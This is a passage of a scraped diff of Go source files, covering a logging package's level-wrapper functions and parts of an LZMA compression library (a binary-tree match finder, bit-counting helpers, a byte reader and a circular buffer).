s := fmt.Sprintf(format, v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Panicln prints the message like Println and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func (l *Logger) Panicln(v ...interface{}) {
|
||||
l.Outputln(2, Lnopanic, v...)
|
||||
s := fmt.Sprintln(v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Panicln prints the message like Println and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func Panicln(v ...interface{}) {
|
||||
std.Outputln(2, Lnopanic, v...)
|
||||
s := fmt.Sprintln(v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Fatal prints the message like Print and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func (l *Logger) Fatal(v ...interface{}) {
|
||||
l.Output(2, Lnofatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatal prints the message like Print and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func Fatal(v ...interface{}) {
|
||||
std.Output(2, Lnofatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalf prints the message like Printf and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func (l *Logger) Fatalf(format string, v ...interface{}) {
|
||||
l.Outputf(2, Lnofatal, format, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalf prints the message like Printf and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func Fatalf(format string, v ...interface{}) {
|
||||
std.Outputf(2, Lnofatal, format, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalln prints the message like Println and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func (l *Logger) Fatalln(format string, v ...interface{}) {
|
||||
l.Outputln(2, Lnofatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalln prints the message like Println and calls os.Exit(1). The
|
||||
// printing might be suppressed by the flag Lnofatal.
|
||||
func Fatalln(format string, v ...interface{}) {
|
||||
std.Outputln(2, Lnofatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Warn prints the message like Print. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func (l *Logger) Warn(v ...interface{}) {
|
||||
l.Output(2, Lnowarn, v...)
|
||||
}
|
||||
|
||||
// Warn prints the message like Print. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func Warn(v ...interface{}) {
|
||||
std.Output(2, Lnowarn, v...)
|
||||
}
|
||||
|
||||
// Warnf prints the message like Printf. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func (l *Logger) Warnf(format string, v ...interface{}) {
|
||||
l.Outputf(2, Lnowarn, format, v...)
|
||||
}
|
||||
|
||||
// Warnf prints the message like Printf. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func Warnf(format string, v ...interface{}) {
|
||||
std.Outputf(2, Lnowarn, format, v...)
|
||||
}
|
||||
|
||||
// Warnln prints the message like Println. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func (l *Logger) Warnln(v ...interface{}) {
|
||||
l.Outputln(2, Lnowarn, v...)
|
||||
}
|
||||
|
||||
// Warnln prints the message like Println. The printing might be suppressed
|
||||
// by the flag Lnowarn.
|
||||
func Warnln(v ...interface{}) {
|
||||
std.Outputln(2, Lnowarn, v...)
|
||||
}
|
||||
|
||||
// Print prints the message like fmt.Print. The printing might be suppressed
|
||||
// by the flag Lnoprint.
|
||||
func (l *Logger) Print(v ...interface{}) {
|
||||
l.Output(2, Lnoprint, v...)
|
||||
}
|
||||
|
||||
// Print prints the message like fmt.Print. The printing might be suppressed
|
||||
// by the flag Lnoprint.
|
||||
func Print(v ...interface{}) {
|
||||
std.Output(2, Lnoprint, v...)
|
||||
}
|
||||
|
||||
// Printf prints the message like fmt.Printf. The printing might be suppressed
|
||||
// by the flag Lnoprint.
|
||||
func (l *Logger) Printf(format string, v ...interface{}) {
|
||||
l.Outputf(2, Lnoprint, format, v...)
|
||||
}
|
||||
|
||||
// Printf prints the message like fmt.Printf. The printing might be suppressed
|
||||
// by the flag Lnoprint.
|
||||
func Printf(format string, v ...interface{}) {
|
||||
std.Outputf(2, Lnoprint, format, v...)
|
||||
}
|
||||
|
||||
// Println prints the message like fmt.Println. The printing might be
|
||||
// suppressed by the flag Lnoprint.
|
||||
func (l *Logger) Println(v ...interface{}) {
|
||||
l.Outputln(2, Lnoprint, v...)
|
||||
}
|
||||
|
||||
// Println prints the message like fmt.Println. The printing might be
|
||||
// suppressed by the flag Lnoprint.
|
||||
func Println(v ...interface{}) {
|
||||
std.Outputln(2, Lnoprint, v...)
|
||||
}
|
||||
|
||||
// Debug prints the message like Print. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func (l *Logger) Debug(v ...interface{}) {
|
||||
l.Output(2, Lnodebug, v...)
|
||||
}
|
||||
|
||||
// Debug prints the message like Print. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func Debug(v ...interface{}) {
|
||||
std.Output(2, Lnodebug, v...)
|
||||
}
|
||||
|
||||
// Debugf prints the message like Printf. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func (l *Logger) Debugf(format string, v ...interface{}) {
|
||||
l.Outputf(2, Lnodebug, format, v...)
|
||||
}
|
||||
|
||||
// Debugf prints the message like Printf. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func Debugf(format string, v ...interface{}) {
|
||||
std.Outputf(2, Lnodebug, format, v...)
|
||||
}
|
||||
|
||||
// Debugln prints the message like Println. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func (l *Logger) Debugln(v ...interface{}) {
|
||||
l.Outputln(2, Lnodebug, v...)
|
||||
}
|
||||
|
||||
// Debugln prints the message like Println. The printing might be suppressed
|
||||
// by the flag Lnodebug.
|
||||
func Debugln(v ...interface{}) {
|
||||
std.Outputln(2, Lnodebug, v...)
|
||||
}
|
||||
|
||||
// Flags returns the current flags used by the logger.
|
||||
func (l *Logger) Flags() int {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.flag
|
||||
}
|
||||
|
||||
// Flags returns the current flags used by the standard logger.
|
||||
func Flags() int {
|
||||
return std.Flags()
|
||||
}
|
||||
|
||||
// SetFlags sets the flags of the logger.
|
||||
func (l *Logger) SetFlags(flag int) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.flag = flag
|
||||
}
|
||||
|
||||
// SetFlags sets the flags for the standard logger.
|
||||
func SetFlags(flag int) {
|
||||
std.SetFlags(flag)
|
||||
}
|
||||
|
||||
// Prefix returns the prefix used by the logger.
|
||||
func (l *Logger) Prefix() string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.prefix
|
||||
}
|
||||
|
||||
// Prefix returns the prefix used by the standard logger of the package.
|
||||
func Prefix() string {
|
||||
return std.Prefix()
|
||||
}
|
||||
|
||||
// SetPrefix sets the prefix for the logger.
|
||||
func (l *Logger) SetPrefix(prefix string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.prefix = prefix
|
||||
}
|
||||
|
||||
// SetPrefix sets the prefix of the standard logger of the package.
|
||||
func SetPrefix(prefix string) {
|
||||
std.SetPrefix(prefix)
|
||||
}
|
||||
|
||||
// SetOutput sets the output of the logger.
|
||||
func (l *Logger) SetOutput(w io.Writer) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.out = w
|
||||
}
|
||||
|
||||
// SetOutput sets the output for the standard logger of the package.
|
||||
func SetOutput(w io.Writer) {
|
||||
std.SetOutput(w)
|
||||
}
|
||||
+522
@@ -0,0 +1,522 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// node represents a node in the binary tree.
|
||||
type node struct {
|
||||
// x is the search value
|
||||
x uint32
|
||||
// p parent node
|
||||
p uint32
|
||||
// l left child
|
||||
l uint32
|
||||
// r right child
|
||||
r uint32
|
||||
}
|
||||
|
||||
// wordLen is the number of bytes represented by the v field of a node.
|
||||
const wordLen = 4
|
||||
|
||||
// binTree supports the identification of the next operation based on a
|
||||
// binary tree.
|
||||
//
|
||||
// Nodes will be identified by their index into the ring buffer.
|
||||
type binTree struct {
|
||||
dict *encoderDict
|
||||
// ring buffer of nodes
|
||||
node []node
|
||||
// absolute offset of the entry for the next node. Position 4
|
||||
// byte larger.
|
||||
hoff int64
|
||||
// front position in the node ring buffer
|
||||
front uint32
|
||||
// index of the root node
|
||||
root uint32
|
||||
// current x value
|
||||
x uint32
|
||||
// preallocated array
|
||||
data []byte
|
||||
}
|
||||
|
||||
// null represents the nonexistent index. We can't use zero because it
|
||||
// would always exist or we would need to decrease the index for each
|
||||
// reference.
|
||||
const null uint32 = 1<<32 - 1
|
||||
|
||||
// newBinTree initializes the binTree structure. The capacity defines
|
||||
// the size of the buffer and defines the maximum distance for which
|
||||
// matches will be found.
|
||||
func newBinTree(capacity int) (t *binTree, err error) {
|
||||
if capacity < 1 {
|
||||
return nil, errors.New(
|
||||
"newBinTree: capacity must be larger than zero")
|
||||
}
|
||||
if int64(capacity) >= int64(null) {
|
||||
return nil, errors.New(
|
||||
"newBinTree: capacity must less 2^{32}-1")
|
||||
}
|
||||
t = &binTree{
|
||||
node: make([]node, capacity),
|
||||
hoff: -int64(wordLen),
|
||||
root: null,
|
||||
data: make([]byte, maxMatchLen),
|
||||
}
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func (t *binTree) SetDict(d *encoderDict) { t.dict = d }
|
||||
|
||||
// WriteByte writes a single byte into the binary tree.
|
||||
func (t *binTree) WriteByte(c byte) error {
|
||||
t.x = (t.x << 8) | uint32(c)
|
||||
t.hoff++
|
||||
if t.hoff < 0 {
|
||||
return nil
|
||||
}
|
||||
v := t.front
|
||||
if int64(v) < t.hoff {
|
||||
// We are overwriting old nodes stored in the tree.
|
||||
t.remove(v)
|
||||
}
|
||||
t.node[v].x = t.x
|
||||
t.add(v)
|
||||
t.front++
|
||||
if int64(t.front) >= int64(len(t.node)) {
|
||||
t.front = 0
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Writes writes a sequence of bytes into the binTree structure.
|
||||
func (t *binTree) Write(p []byte) (n int, err error) {
|
||||
for _, c := range p {
|
||||
t.WriteByte(c)
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// add puts the node v into the tree. The node must not be part of the
|
||||
// tree before.
|
||||
func (t *binTree) add(v uint32) {
|
||||
vn := &t.node[v]
|
||||
// Set left and right to null indices.
|
||||
vn.l, vn.r = null, null
|
||||
// If the binary tree is empty make v the root.
|
||||
if t.root == null {
|
||||
t.root = v
|
||||
vn.p = null
|
||||
return
|
||||
}
|
||||
x := vn.x
|
||||
p := t.root
|
||||
// Search for the right leave link and add the new node.
|
||||
for {
|
||||
pn := &t.node[p]
|
||||
if x <= pn.x {
|
||||
if pn.l == null {
|
||||
pn.l = v
|
||||
vn.p = p
|
||||
return
|
||||
}
|
||||
p = pn.l
|
||||
} else {
|
||||
if pn.r == null {
|
||||
pn.r = v
|
||||
vn.p = p
|
||||
return
|
||||
}
|
||||
p = pn.r
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// parent returns the parent node index of v and the pointer to v value
|
||||
// in the parent.
|
||||
func (t *binTree) parent(v uint32) (p uint32, ptr *uint32) {
|
||||
if t.root == v {
|
||||
return null, &t.root
|
||||
}
|
||||
p = t.node[v].p
|
||||
if t.node[p].l == v {
|
||||
ptr = &t.node[p].l
|
||||
} else {
|
||||
ptr = &t.node[p].r
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Remove node v.
|
||||
func (t *binTree) remove(v uint32) {
|
||||
vn := &t.node[v]
|
||||
p, ptr := t.parent(v)
|
||||
l, r := vn.l, vn.r
|
||||
if l == null {
|
||||
// Move the right child up.
|
||||
*ptr = r
|
||||
if r != null {
|
||||
t.node[r].p = p
|
||||
}
|
||||
return
|
||||
}
|
||||
if r == null {
|
||||
// Move the left child up.
|
||||
*ptr = l
|
||||
t.node[l].p = p
|
||||
return
|
||||
}
|
||||
|
||||
// Search the in-order predecessor u.
|
||||
un := &t.node[l]
|
||||
ur := un.r
|
||||
if ur == null {
|
||||
// In order predecessor is l. Move it up.
|
||||
un.r = r
|
||||
t.node[r].p = l
|
||||
un.p = p
|
||||
*ptr = l
|
||||
return
|
||||
}
|
||||
var u uint32
|
||||
for {
|
||||
// Look for the max value in the tree where l is root.
|
||||
u = ur
|
||||
ur = t.node[u].r
|
||||
if ur == null {
|
||||
break
|
||||
}
|
||||
}
|
||||
// replace u with ul
|
||||
un = &t.node[u]
|
||||
ul := un.l
|
||||
up := un.p
|
||||
t.node[up].r = ul
|
||||
if ul != null {
|
||||
t.node[ul].p = up
|
||||
}
|
||||
|
||||
// replace v by u
|
||||
un.l, un.r = l, r
|
||||
t.node[l].p = u
|
||||
t.node[r].p = u
|
||||
*ptr = u
|
||||
un.p = p
|
||||
}
|
||||
|
||||
// search looks for the node that have the value x or for the nodes that
|
||||
// brace it. The node highest in the tree with the value x will be
|
||||
// returned. All other nodes with the same value live in left subtree of
|
||||
// the returned node.
|
||||
func (t *binTree) search(v uint32, x uint32) (a, b uint32) {
|
||||
a, b = null, null
|
||||
if v == null {
|
||||
return
|
||||
}
|
||||
for {
|
||||
vn := &t.node[v]
|
||||
if x <= vn.x {
|
||||
if x == vn.x {
|
||||
return v, v
|
||||
}
|
||||
b = v
|
||||
if vn.l == null {
|
||||
return
|
||||
}
|
||||
v = vn.l
|
||||
} else {
|
||||
a = v
|
||||
if vn.r == null {
|
||||
return
|
||||
}
|
||||
v = vn.r
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// max returns the node with maximum value in the subtree with v as
|
||||
// root.
|
||||
func (t *binTree) max(v uint32) uint32 {
|
||||
if v == null {
|
||||
return null
|
||||
}
|
||||
for {
|
||||
r := t.node[v].r
|
||||
if r == null {
|
||||
return v
|
||||
}
|
||||
v = r
|
||||
}
|
||||
}
|
||||
|
||||
// min returns the node with the minimum value in the subtree with v as
|
||||
// root.
|
||||
func (t *binTree) min(v uint32) uint32 {
|
||||
if v == null {
|
||||
return null
|
||||
}
|
||||
for {
|
||||
l := t.node[v].l
|
||||
if l == null {
|
||||
return v
|
||||
}
|
||||
v = l
|
||||
}
|
||||
}
|
||||
|
||||
// pred returns the in-order predecessor of node v.
|
||||
func (t *binTree) pred(v uint32) uint32 {
|
||||
if v == null {
|
||||
return null
|
||||
}
|
||||
u := t.max(t.node[v].l)
|
||||
if u != null {
|
||||
return u
|
||||
}
|
||||
for {
|
||||
p := t.node[v].p
|
||||
if p == null {
|
||||
return null
|
||||
}
|
||||
if t.node[p].r == v {
|
||||
return p
|
||||
}
|
||||
v = p
|
||||
}
|
||||
}
|
||||
|
||||
// succ returns the in-order successor of node v.
|
||||
func (t *binTree) succ(v uint32) uint32 {
|
||||
if v == null {
|
||||
return null
|
||||
}
|
||||
u := t.min(t.node[v].r)
|
||||
if u != null {
|
||||
return u
|
||||
}
|
||||
for {
|
||||
p := t.node[v].p
|
||||
if p == null {
|
||||
return null
|
||||
}
|
||||
if t.node[p].l == v {
|
||||
return p
|
||||
}
|
||||
v = p
|
||||
}
|
||||
}
|
||||
|
||||
// xval converts the first four bytes of a into an 32-bit unsigned
|
||||
// integer in big-endian order.
|
||||
func xval(a []byte) uint32 {
|
||||
var x uint32
|
||||
switch len(a) {
|
||||
default:
|
||||
x |= uint32(a[3])
|
||||
fallthrough
|
||||
case 3:
|
||||
x |= uint32(a[2]) << 8
|
||||
fallthrough
|
||||
case 2:
|
||||
x |= uint32(a[1]) << 16
|
||||
fallthrough
|
||||
case 1:
|
||||
x |= uint32(a[0]) << 24
|
||||
case 0:
|
||||
}
|
||||
return x
|
||||
}
|
||||
|
||||
// dumpX converts value x into a four-letter string.
|
||||
func dumpX(x uint32) string {
|
||||
a := make([]byte, 4)
|
||||
for i := 0; i < 4; i++ {
|
||||
c := byte(x >> uint((3-i)*8))
|
||||
if unicode.IsGraphic(rune(c)) {
|
||||
a[i] = c
|
||||
} else {
|
||||
a[i] = '.'
|
||||
}
|
||||
}
|
||||
return string(a)
|
||||
}
|
||||
|
||||
/*
|
||||
// dumpNode writes a representation of the node v into the io.Writer.
|
||||
func (t *binTree) dumpNode(w io.Writer, v uint32, indent int) {
|
||||
if v == null {
|
||||
return
|
||||
}
|
||||
|
||||
vn := &t.node[v]
|
||||
|
||||
t.dumpNode(w, vn.r, indent+2)
|
||||
|
||||
for i := 0; i < indent; i++ {
|
||||
fmt.Fprint(w, " ")
|
||||
}
|
||||
if vn.p == null {
|
||||
fmt.Fprintf(w, "node %d %q parent null\n", v, dumpX(vn.x))
|
||||
} else {
|
||||
fmt.Fprintf(w, "node %d %q parent %d\n", v, dumpX(vn.x), vn.p)
|
||||
}
|
||||
|
||||
t.dumpNode(w, vn.l, indent+2)
|
||||
}
|
||||
|
||||
// dump prints a representation of the binary tree into the writer.
|
||||
func (t *binTree) dump(w io.Writer) error {
|
||||
bw := bufio.NewWriter(w)
|
||||
t.dumpNode(bw, t.root, 0)
|
||||
return bw.Flush()
|
||||
}
|
||||
*/
|
||||
|
||||
func (t *binTree) distance(v uint32) int {
|
||||
dist := int(t.front) - int(v)
|
||||
if dist <= 0 {
|
||||
dist += len(t.node)
|
||||
}
|
||||
return dist
|
||||
}
|
||||
|
||||
type matchParams struct {
|
||||
rep [4]uint32
|
||||
// length when match will be accepted
|
||||
nAccept int
|
||||
// nodes to check
|
||||
check int
|
||||
// finish if length get shorter
|
||||
stopShorter bool
|
||||
}
|
||||
|
||||
func (t *binTree) match(m match, distIter func() (int, bool), p matchParams,
|
||||
) (r match, checked int, accepted bool) {
|
||||
buf := &t.dict.buf
|
||||
for {
|
||||
if checked >= p.check {
|
||||
return m, checked, true
|
||||
}
|
||||
dist, ok := distIter()
|
||||
if !ok {
|
||||
return m, checked, false
|
||||
}
|
||||
checked++
|
||||
if m.n > 0 {
|
||||
i := buf.rear - dist + m.n - 1
|
||||
if i < 0 {
|
||||
i += len(buf.data)
|
||||
} else if i >= len(buf.data) {
|
||||
i -= len(buf.data)
|
||||
}
|
||||
if buf.data[i] != t.data[m.n-1] {
|
||||
if p.stopShorter {
|
||||
return m, checked, false
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
n := buf.matchLen(dist, t.data)
|
||||
switch n {
|
||||
case 0:
|
||||
if p.stopShorter {
|
||||
return m, checked, false
|
||||
}
|
||||
continue
|
||||
case 1:
|
||||
if uint32(dist-minDistance) != p.rep[0] {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if n < m.n || (n == m.n && int64(dist) >= m.distance) {
|
||||
continue
|
||||
}
|
||||
m = match{int64(dist), n}
|
||||
if n >= p.nAccept {
|
||||
return m, checked, true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (t *binTree) NextOp(rep [4]uint32) operation {
|
||||
// retrieve maxMatchLen data
|
||||
n, _ := t.dict.buf.Peek(t.data[:maxMatchLen])
|
||||
if n == 0 {
|
||||
panic("no data in buffer")
|
||||
}
|
||||
t.data = t.data[:n]
|
||||
|
||||
var (
|
||||
m match
|
||||
x, u, v uint32
|
||||
iterPred, iterSucc func() (int, bool)
|
||||
)
|
||||
p := matchParams{
|
||||
rep: rep,
|
||||
nAccept: maxMatchLen,
|
||||
check: 32,
|
||||
}
|
||||
i := 4
|
||||
iterSmall := func() (dist int, ok bool) {
|
||||
i--
|
||||
if i <= 0 {
|
||||
return 0, false
|
||||
}
|
||||
return i, true
|
||||
}
|
||||
m, checked, accepted := t.match(m, iterSmall, p)
|
||||
if accepted {
|
||||
goto end
|
||||
}
|
||||
p.check -= checked
|
||||
x = xval(t.data)
|
||||
u, v = t.search(t.root, x)
|
||||
if u == v && len(t.data) == 4 {
|
||||
iter := func() (dist int, ok bool) {
|
||||
if u == null {
|
||||
return 0, false
|
||||
}
|
||||
dist = t.distance(u)
|
||||
u, v = t.search(t.node[u].l, x)
|
||||
if u != v {
|
||||
u = null
|
||||
}
|
||||
return dist, true
|
||||
}
|
||||
m, _, _ = t.match(m, iter, p)
|
||||
goto end
|
||||
}
|
||||
p.stopShorter = true
|
||||
iterSucc = func() (dist int, ok bool) {
|
||||
if v == null {
|
||||
return 0, false
|
||||
}
|
||||
dist = t.distance(v)
|
||||
v = t.succ(v)
|
||||
return dist, true
|
||||
}
|
||||
m, checked, accepted = t.match(m, iterSucc, p)
|
||||
if accepted {
|
||||
goto end
|
||||
}
|
||||
p.check -= checked
|
||||
iterPred = func() (dist int, ok bool) {
|
||||
if u == null {
|
||||
return 0, false
|
||||
}
|
||||
dist = t.distance(u)
|
||||
u = t.pred(u)
|
||||
return dist, true
|
||||
}
|
||||
m, _, _ = t.match(m, iterPred, p)
|
||||
end:
|
||||
if m.n == 0 {
|
||||
return lit{t.data[0]}
|
||||
}
|
||||
return m
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
/* Naming conventions follows the CodeReviewComments in the Go Wiki. */
|
||||
|
||||
// ntz32Const is used by the functions NTZ and NLZ.
|
||||
const ntz32Const = 0x04d7651f
|
||||
|
||||
// ntz32Table is a helper table for de Bruijn algorithm by Danny Dubé.
|
||||
// See Henry S. Warren, Jr. "Hacker's Delight" section 5-1 figure 5-26.
|
||||
var ntz32Table = [32]int8{
|
||||
0, 1, 2, 24, 3, 19, 6, 25,
|
||||
22, 4, 20, 10, 16, 7, 12, 26,
|
||||
31, 23, 18, 5, 21, 9, 15, 11,
|
||||
30, 17, 8, 14, 29, 13, 28, 27,
|
||||
}
|
||||
|
||||
/*
|
||||
// ntz32 computes the number of trailing zeros for an unsigned 32-bit integer.
|
||||
func ntz32(x uint32) int {
|
||||
if x == 0 {
|
||||
return 32
|
||||
}
|
||||
x = (x & -x) * ntz32Const
|
||||
return int(ntz32Table[x>>27])
|
||||
}
|
||||
*/
|
||||
|
||||
// nlz32 computes the number of leading zeros for an unsigned 32-bit integer.
|
||||
func nlz32(x uint32) int {
|
||||
// Smear left most bit to the right
|
||||
x |= x >> 1
|
||||
x |= x >> 2
|
||||
x |= x >> 4
|
||||
x |= x >> 8
|
||||
x |= x >> 16
|
||||
// Use ntz mechanism to calculate nlz.
|
||||
x++
|
||||
if x == 0 {
|
||||
return 0
|
||||
}
|
||||
x *= ntz32Const
|
||||
return 32 - int(ntz32Table[x>>27])
|
||||
}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// breader provides the ReadByte function for a Reader. It doesn't read
|
||||
// more data from the reader than absolutely necessary.
|
||||
type breader struct {
|
||||
io.Reader
|
||||
// helper slice to save allocations
|
||||
p []byte
|
||||
}
|
||||
|
||||
// ByteReader converts an io.Reader into an io.ByteReader.
|
||||
func ByteReader(r io.Reader) io.ByteReader {
|
||||
br, ok := r.(io.ByteReader)
|
||||
if !ok {
|
||||
return &breader{r, make([]byte, 1)}
|
||||
}
|
||||
return br
|
||||
}
|
||||
|
||||
// ReadByte read byte function.
|
||||
func (r *breader) ReadByte() (c byte, err error) {
|
||||
n, err := r.Reader.Read(r.p)
|
||||
if n < 1 {
|
||||
if err == nil {
|
||||
err = errors.New("breader.ReadByte: no data")
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
return r.p[0], nil
|
||||
}
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// buffer provides a circular buffer of bytes. If the front index equals
|
||||
// the rear index the buffer is empty. As a consequence front cannot be
|
||||
// equal rear for a full buffer. So a full buffer has a length that is
|
||||
// one byte less the the length of the data slice.
|
||||
type buffer struct {
|
||||
data []byte
|
||||
front int
|
||||
rear int
|
||||
}
|
||||
|
||||
// newBuffer creates a buffer with the given size.
|
||||
func newBuffer(size int) *buffer {
|
||||
return &buffer{data: make([]byte, size+1)}
|
||||
}
|
||||
|
||||
// Cap returns the capacity of the buffer.
|
||||
func (b *buffer) Cap() int {
|
||||
return len(b.data) - 1
|
||||
}
|
||||
|
||||
// Resets the buffer. The front and rear index are set to zero.
|
||||
func (b *buffer) Reset() {
|
||||
b.front = 0
|
||||
b.rear = 0
|
||||
}
|
||||
|
||||
// Buffered returns the number of bytes buffered.
|
||||
func (b *buffer) Buffered() int {
|
||||
delta := b.front - b.rear
|
||||
if delta < 0 {
|
||||
delta += len(b.data)
|
||||
}
|
||||
return delta
|
||||
}
|
||||
|
||||
// Available returns the number of bytes available for writing.
|
||||
func (b *buffer) Available() int {
|
||||
delta := b.rear - 1 - b.front
|
||||
if delta < 0 {
|
||||
delta += len(b.data)
|
||||
}
|
||||
return delta
|
||||
}
|
||||
|
||||
// addIndex adds a non-negative integer to the index i and returns the
|
||||
// resulting index. The function takes care of wrapping the index as
|
||||
// well as potential overflow situations.
|
||||
func (b *buffer) addIndex(i int, n int) int {
|
||||
// subtraction of len(b.data) prevents overflow
|
||||
i += n - len(b.data)
|
||||
if i < 0 {
|
||||
i += len(b.data)
|
||||
}
|
||||
return i
|
||||
}
|
||||
|
||||
// Read reads bytes from the buffer into p and returns the number of
|
||||
// bytes read. The function never returns an error but might return less
|
||||
// data than requested.
|
||||
func (b *buffer) Read(p []byte) (n int, err error) {
|
||||
n, err = b.Peek(p)
|
||||
b.rear = b.addIndex(b.rear, n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Peek reads bytes from the buffer into p without changing the buffer.
|
||||
// Peek will never return an error but might return less data than
|
||||
// requested.
|
||||
func (b *buffer) Peek(p []byte) (n int, err error) {
|
||||
m := b.Buffered()
|
||||
n = len(p)
|
||||
if m < n {
|
||||
n = m
|
||||
p = p[:n]
|
||||
}
|
||||
k := copy(p, b.data[b.rear:])
|
||||
if k < n {
|
||||
copy(p[k:], b.data)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// Discard skips the n next bytes to read from the buffer, returning the
|
||||
// bytes discarded.
|
||||
//
|
||||
// If Discards skips fewer than n bytes, it returns an error.
|
||||
func (b *buffer) Discard(n int) (discarded int, err error) {
|
||||
if n < 0 {
|
||||
return 0, errors.New("buffer.Discard: negative argument")
|
||||
}
|
||||
m := b.Buffered()
|
||||
if m < n {
|
||||
n = m
|
||||
err = errors.New(
|
||||
"buffer.Discard: discarded less bytes then requested")
|
||||
}
|
||||
b.rear = b.addIndex(b.rear, n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// ErrNoSpace indicates that there is insufficient space for the Write
|
||||
// operation.
|
||||
var ErrNoSpace = errors.New("insufficient space")
|
||||
|
||||
// Write puts data into the buffer. If less bytes are written than
|
||||
// requested ErrNoSpace is returned.
|
||||
func (b *buffer) Write(p []byte) (n int, err error) {
|
||||
m := b.Available()
|
||||
n = len(p)
|
||||
if m < n {
|
||||
n = m
|
||||
p = p[:m]
|
||||
err = ErrNoSpace
|
||||
}
|
||||
k := copy(b.data[b.front:], p)
|
||||
if k < n {
|
||||
copy(b.data, p[k:])
|
||||
}
|
||||
b.front = b.addIndex(b.front, n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// WriteByte writes a single byte into the buffer. The error ErrNoSpace
|
||||
// is returned if no single byte is available in the buffer for writing.
|
||||
func (b *buffer) WriteByte(c byte) error {
|
||||
if b.Available() < 1 {
|
||||
return ErrNoSpace
|
||||
}
|
||||
b.data[b.front] = c
|
||||
b.front = b.addIndex(b.front, 1)
|
||||
return nil
|
||||
}
|
||||
|
||||
// prefixLen returns the length of the common prefix of a and b.
|
||||
func prefixLen(a, b []byte) int {
|
||||
if len(a) > len(b) {
|
||||
a, b = b, a
|
||||
}
|
||||
for i, c := range a {
|
||||
if b[i] != c {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return len(a)
|
||||
}
|
||||
|
||||
// matchLen returns the length of the common prefix for the given
|
||||
// distance from the rear and the byte slice p.
|
||||
func (b *buffer) matchLen(distance int, p []byte) int {
|
||||
var n int
|
||||
i := b.rear - distance
|
||||
if i < 0 {
|
||||
if n = prefixLen(p, b.data[len(b.data)+i:]); n < -i {
|
||||
return n
|
||||
}
|
||||
p = p[n:]
|
||||
i = 0
|
||||
}
|
||||
n += prefixLen(p, b.data[i:])
|
||||
return n
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
